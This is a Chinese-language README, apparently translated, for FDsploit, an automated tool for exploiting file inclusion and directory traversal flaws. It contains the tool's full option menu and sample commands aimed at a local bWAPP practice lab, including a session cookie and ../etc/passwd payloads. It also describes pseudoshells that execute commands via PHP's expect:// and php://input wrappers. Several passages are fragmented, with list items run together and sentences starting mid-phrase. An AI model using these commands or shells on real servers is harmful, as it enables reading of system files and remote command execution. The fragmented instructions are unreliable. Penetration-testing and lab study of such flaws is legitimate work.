FDsploit 菜单:
$ python fdsploit.py -h
_____ ____ _ _ _
| __| \ ___ ___| |___|_| |_
| __| | |_ -| . | | . | | _|
|__| |____/|___| _|_|___|_|_|
|_|...ver. 1.2
Author: Christoforos Petrou (game0ver) !
usage: fdsploit.py [-u | -f ] [-h] [-p] [-d] [-e {0,1,2}] [-t] [-b] [-x] [-c]
[-v] [--params [...]] [-k] [-a] [--cmd]
[--lfishell {None,simple,expect,input}]
FDsploit.py: Automatic (L|R)FI & directory traversal enumeration & exploitation.
Required (one of the following):
-u , --url Specify a url or
-f , --file Specify a file containing urls
Optional:
-h, --help Show this help message and exit
-p , --payload Specify a payload-file to look for [default None]
-d , --depth Specify max depth for payload [default 5]
-e {0,1,2}, --urlencode {0,1,2}
Url-encode the payload [default: False]
-t , --tchar Use a termination character ('%00' or '?') [default None]
-b, --b64 Use base64 encoding [default False]
-x , --proxy Specify a proxy to use [form: host:port]
-c , --cookie Specify a session-cookie to use [default None]
-v , --verb Specify request type ('GET' or 'POST') [default GET]
--params [ ...] Specify POST parameters to use (applied only with POST requests)
Form: param1:value1,param2:value2,...
-k , --keyword Search for a certain keyword(s) on the response [default: None]
-a, --useragent Use a random user-agent [default user-agent: FDsploit_1.2_agent]
--cmd Test for command execution through PHP functions [default command: None]
--lfishell {None,simple,expect,input}
LFI pseudoshell [default None]
[!] For More Details please read the README.md file!
FDsploit 可用于自动发现和利用本地/远程文件包含及目录遍历漏洞。如果发现 LFI 漏洞,可使用 --lfishell 选项进行利用。目前支持 3 种不同类型的 LFI Shell:
simple:此类 Shell 允许用户轻松读取文件,无需每次都输入 URL。同时,它仅输出文件内容,而__不是__页面的完整 HTML 源码,非常实用。expect:此类 Shell 是一个半交互式 Shell,允许用户通过 PHP 的 expect:// 封装器执行命令。input:此类 Shell 是一个半交互式 Shell,也允许用户通过 PHP 的 php://input 流执行命令。目前,仅内置两条 LFI-Shell 命令:
clear 和exit。*)指定特定参数进行测试。从以下输出看,directory 参数可能容易受到目录遍历攻击,因为每次使用 ../ 作为 payload 的请求都会产生不同的 sha-256 哈希值。同时,每次请求的内容长度也不同:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/directory_traversal_2.php?directory=documents' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 8
同样,language 参数似乎容易受到 LFI 攻击,因为使用 ../etc/passwd 等 payload 时,每个标记为绿色的请求都会产生不同的哈希值、与初始请求不同的内容长度,并且在响应中找到了指定的关键字:
./fdsploit.py -u 'http://127.0.0.1:8888/test/bWAPP/bWAPP/rlfi.php?language=*&action=go' -c 'PHPSESSID=7acf1c5311fee614d0eb40d7f3473087; security_level=0' -d 7 -k root -p /etc/passwd
利用上述 LFI 漏洞,使用 simple shell:
POST 动词时,必须同时指定 --params 选项。--payload 选项必须保留为默认值(None)。--file 选项进行多 URL 测试时,仅支持 GET 请求。--file 和 --cookie 选项时,由于每次只能指定一个 Cookie,URL 必须指向同一域名,或者无需 Cookie 即可访问(此问题将在后续更新中修复)。input shell 与 POST 动词不兼容。注意: 安装依赖:
pip install -r requirements.txt --upgrade --user
💡 FDsploit 也已预装在 BlackArch Linux distribution 中。
--file 也能配合 POST 参数和 Cookie 工作,可能使用 json 等文件作为输入。--lfishell 添加更多内置命令,例如 history 等欢迎反馈和贡献。如果您发现任何错误或有功能需求,请随时提交 issue,我将在审查后尽快修复!
本工具仅用于测试和学术目的,并且只能在获得严格同意的情况下使用。请勿将其用于非法目的!最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因本工具及软件导致的任何误用或损害负责。
该项目采用 GPLv3 许可证授权 - 详情请参见 LICENSE 文件。